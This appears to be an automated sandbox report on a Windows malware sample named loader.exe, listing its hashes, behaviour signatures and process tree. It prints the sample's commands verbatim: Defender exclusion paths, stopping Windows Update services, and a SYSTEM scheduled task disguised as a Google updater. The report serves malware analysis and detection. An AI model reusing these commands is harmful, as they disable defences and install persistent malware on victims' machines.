Analysis
-
max time kernel
31s -
max time network
33s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
27/10/2024, 12:26
Static task
static1
Behavioral task
behavioral1
Sample
loader.exe
Resource
win7-20240903-en
General
-
Target
loader.exe
-
Size
56.5MB
-
MD5
cb5704b35d6f1420581b825a8faee883
-
SHA1
966b5157bd954ca13385db782b39ed56c5a52b9e
-
SHA256
6cf2cd2b186c6d10c081cb5afe7689d52b3ccc3da937c920718724c26573946a
-
SHA512
7276ed0bf256bc9895712c5de6d8c25851d867c62b2688d44e7cbd3ef63eeee0774345e3221665e3fb8e5a24343d7c45dafac7e308b1a67db24d8afab0ce91cb
-
SSDEEP
786432:brZMUVo6ix6I/AXpORG0zC5lYSI0yhRaJ9r3uXSr7dcS1Se34sey66TM0Mg0G+/c:bAwIcpIGsERI0puXSr7qS1eGsO+/QD
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
description pid Process procid_target PID 5084 created 3548 5084 loader.exe 56 PID 5084 created 3548 5084 loader.exe 56 PID 5084 created 3548 5084 loader.exe 56 PID 5084 created 3548 5084 loader.exe 56 -
pid Process 4256 powershell.exe 2176 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 416 updater.exe -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe loader.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 5104 sc.exe 2940 sc.exe 4240 sc.exe 2520 sc.exe 3576 sc.exe -
Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 5084 loader.exe 5084 loader.exe 2176 powershell.exe 2176 powershell.exe 5084 loader.exe 5084 loader.exe 5084 loader.exe 5084 loader.exe 4256 powershell.exe 4256 powershell.exe 5084 loader.exe 5084 loader.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2176 powershell.exe Token: SeDebugPrivilege 4256 powershell.exe Token: SeIncreaseQuotaPrivilege 4256 powershell.exe Token: SeSecurityPrivilege 4256 powershell.exe Token: SeTakeOwnershipPrivilege 4256 powershell.exe Token: SeLoadDriverPrivilege 4256 powershell.exe Token: SeSystemProfilePrivilege 4256 powershell.exe Token: SeSystemtimePrivilege 4256 powershell.exe Token: SeProfSingleProcessPrivilege 4256 powershell.exe Token: SeIncBasePriorityPrivilege 4256 powershell.exe Token: SeCreatePagefilePrivilege 4256 powershell.exe Token: SeBackupPrivilege 4256 powershell.exe Token: SeRestorePrivilege 4256 powershell.exe Token: SeShutdownPrivilege 4256 powershell.exe Token: SeDebugPrivilege 4256 powershell.exe Token: SeSystemEnvironmentPrivilege 4256 powershell.exe Token: SeRemoteShutdownPrivilege 4256 powershell.exe Token: SeUndockPrivilege 4256 powershell.exe Token: SeManageVolumePrivilege 4256 powershell.exe Token: 33 4256 powershell.exe Token: 34 4256 powershell.exe Token: 35 4256 powershell.exe Token: 36 4256 powershell.exe Token: SeIncreaseQuotaPrivilege 4256 powershell.exe Token: SeSecurityPrivilege 4256 powershell.exe Token: SeTakeOwnershipPrivilege 4256 powershell.exe Token: SeLoadDriverPrivilege 4256 powershell.exe Token: SeSystemProfilePrivilege 4256 powershell.exe Token: SeSystemtimePrivilege 4256 powershell.exe Token: SeProfSingleProcessPrivilege 4256 powershell.exe Token: SeIncBasePriorityPrivilege 4256 powershell.exe Token: SeCreatePagefilePrivilege 4256 powershell.exe Token: SeBackupPrivilege 4256 powershell.exe Token: SeRestorePrivilege 4256 powershell.exe Token: SeShutdownPrivilege 4256 powershell.exe Token: SeDebugPrivilege 4256 powershell.exe Token: SeSystemEnvironmentPrivilege 4256 powershell.exe Token: SeRemoteShutdownPrivilege 4256 powershell.exe Token: SeUndockPrivilege 4256 powershell.exe Token: SeManageVolumePrivilege 4256 powershell.exe Token: 33 4256 powershell.exe Token: 34 4256 powershell.exe Token: 35 4256 powershell.exe Token: 36 4256 powershell.exe Token: SeIncreaseQuotaPrivilege 4256 powershell.exe Token: SeSecurityPrivilege 4256 powershell.exe Token: SeTakeOwnershipPrivilege 4256 powershell.exe Token: SeLoadDriverPrivilege 4256 powershell.exe Token: SeSystemProfilePrivilege 4256 powershell.exe Token: SeSystemtimePrivilege 4256 powershell.exe Token: SeProfSingleProcessPrivilege 4256 powershell.exe Token: SeIncBasePriorityPrivilege 4256 powershell.exe Token: SeCreatePagefilePrivilege 4256 powershell.exe Token: SeBackupPrivilege 4256 powershell.exe Token: SeRestorePrivilege 4256 powershell.exe Token: SeShutdownPrivilege 4256 powershell.exe Token: SeDebugPrivilege 4256 powershell.exe Token: SeSystemEnvironmentPrivilege 4256 powershell.exe Token: SeRemoteShutdownPrivilege 4256 powershell.exe Token: SeUndockPrivilege 4256 powershell.exe Token: SeManageVolumePrivilege 4256 powershell.exe Token: 33 4256 powershell.exe Token: 34 4256 powershell.exe Token: 35 4256 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4636 wrote to memory of 2520 4636 cmd.exe 100 PID 4636 wrote to memory of 2520 4636 cmd.exe 100 PID 4636 wrote to memory of 3576 4636 cmd.exe 101 PID 4636 wrote to memory of 3576 4636 cmd.exe 101 PID 4636 wrote to memory of 5104 4636 cmd.exe 102 PID 4636 wrote to memory of 5104 4636 cmd.exe 102 PID 4636 wrote to memory of 2940 4636 cmd.exe 103 PID 4636 wrote to memory of 2940 4636 cmd.exe 103 PID 4636 wrote to memory of 4240 4636 cmd.exe 104 PID 4636 wrote to memory of 4240 4636 cmd.exe 104 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3548
-
C:\Users\Admin\AppData\Local\Temp\loader.exe"C:\Users\Admin\AppData\Local\Temp\loader.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:5084
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2176
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
- Suspicious use of WriteProcessMemory
PID:4636 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:2520
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:3576
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:5104
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:2940
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:4240
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ljqsmfm#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4256
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"2⤵PID:5024
-
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Executes dropped EXE
PID:416
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD56d42b6da621e8df5674e26b799c8e2aa
SHA1ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA2565ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA51253faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82